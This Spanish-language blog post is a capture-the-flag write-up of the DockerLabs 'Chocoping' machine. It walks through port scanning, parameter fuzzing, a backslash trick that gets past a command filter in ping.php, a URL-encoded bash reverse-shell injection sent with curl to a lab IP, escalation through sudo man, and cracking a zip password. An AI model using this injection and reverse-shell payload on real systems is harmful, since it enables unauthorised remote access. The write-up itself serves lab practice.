Post

Chocoping, Dockerlabs

portada

Herramientas y recursos

En este reto de DockerLabs practicamos.

Tecnicas Herramientas
scan de puertos nmap
fuzzing de archivos y carpetas feroxbuster
fuzzing de parametro ffuf
reverse shell urlencodeada
escalada de privilegios man
cracking zip password zip2john

Reconocimiento y enumeracion

Lo primero como siempre le tiramos un nmap con los parámetros de costumbre.

1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX chocoping 172.17.0.2

reporte

Como vemos en el reporte en esta ocasion solo tenemos varios puertos abierto el 80 http el resultado d nmap tambien nos revela un fichero en el enlace al reporte de nmap puedn verlo.

Lo comprobamos lanzando un fuzzing de ficheros y directorios por si esconde algo mas.

ferox

Yo no encuentro nada mas asi que avanzamos a traves de ese fichero.

ferox

El fichero ping.php parece que espere un ip por lo que dice pero primero deberiamos hallar el parametro para la ejecucion del propio ping , si hallamos el parametro y conseguimos hacer ping lo siguiente deberia ser tratar de concatenar algun otro comando.

Primero lo primero hallar el parametro. Vamos a usar ffuf para ello.

1
ffuf -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://172.17.0.2/ping.php\?FUZZ\=google.es -fl 1

ffufparam

Para esconder los falsos positivos tenemos varias opciones de filtrado con fuff : -fl 1 esconde las lineas que solo tengan una linea y -fs 34 escondemos las del tamaño especificado.

Como vemos el parametro es ip y como valor use google.es. Ahora vamos a ver si podemos hacer un ping desde la web.

ping

Lo hacemos y nos muestra el resultado , despùes de estar un buen rato probando a mano y tratando de bypasear el filtro qu es evidente por la respuesta de comando no permitido y por como depende de lo que ejecutes se queda la web en blanco y sin errores.

Apunto de volverme loco llego hasta la web de hackviser.com donde encuentro la solucion , la cual es escapar los comandos con backslashes contrabarras para mi.

whoami

que esta haciendo el filtro de esta web lo primero que es extraño es que permite usar tanto ; y | pero no && no obstante con los dos primeros concatenamos comandos sin problema, por otro lado el unico filtro que aplica es sobre los comandos que escribimos en la web , es decir , comprueba la entrada del usuario y si coincide con un comando conocido te lo bloquea pero al hacer uso del backslash se lo traga pq no lo ve como un comando sino como un string , recordamos que \ escapa el siguiente caracter pero si el caracter que le sigue no es un caracter especial se ignora.Esto me lleva a pensar que el filtro no es un regex sino una simple comparacion de cadenas las cuales no se comprueban antes de ser enviadas internatemente por ping.php Correcion despues de ver el contenido de ping.php , hay una funcion dentro del fichero que solo permite la ejecuion si lleva \

Ahora creo que ya estamos en disposicion de tratar de encontrar la forma de encodear la revshell.

1
curl "http://172.17.0.2/ping.php?ip=127.0.0.1%3Bi%64%3Bb\ash%20\-c%20'exec%20bash%20-i%20%3E%26%2Fdev%2Ftcp%2F192.168.0.101%2F1188%20%3C%261'"

Como veis tenemos que url-encodear todo menos el filtro explicito que se especifica dentro de ping.php es decir la contra barra es lo unico que no codifico y asi me funciona.

revshell

Intrusion

Como podemos ver ya entramos a la maquina ahora como siempre comandos habituales sudo find

Nos han dejado el binario man con sudo para escalar pero antes realizamos el tratamiento de la tty si no no funciona la paginacion y pro tanto no poodremos realizar la escalada.

Una vez realizado el movimiento lateral entre ususarios , en el directorio local nos ha dejado un zip lo descargamos a nuestra maquina y se lo pasamos a zip2john para hashear la contraseña y crackearla con john.

1
php -S 0.0.0.0:8000
1
zip2john secretito.zip > hashed
1
john --format=PKZIP -w ~/Descargas/rockyou.txt/rockyou.txt hashed

john

1
strings traffic.pcap

strings

La contraseña de root esta escondida en el pcap del zip , asi que.

1
su 

Estamos como root

Muchas gracias por leer , dudas sugerencias y comentarios por X.

This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.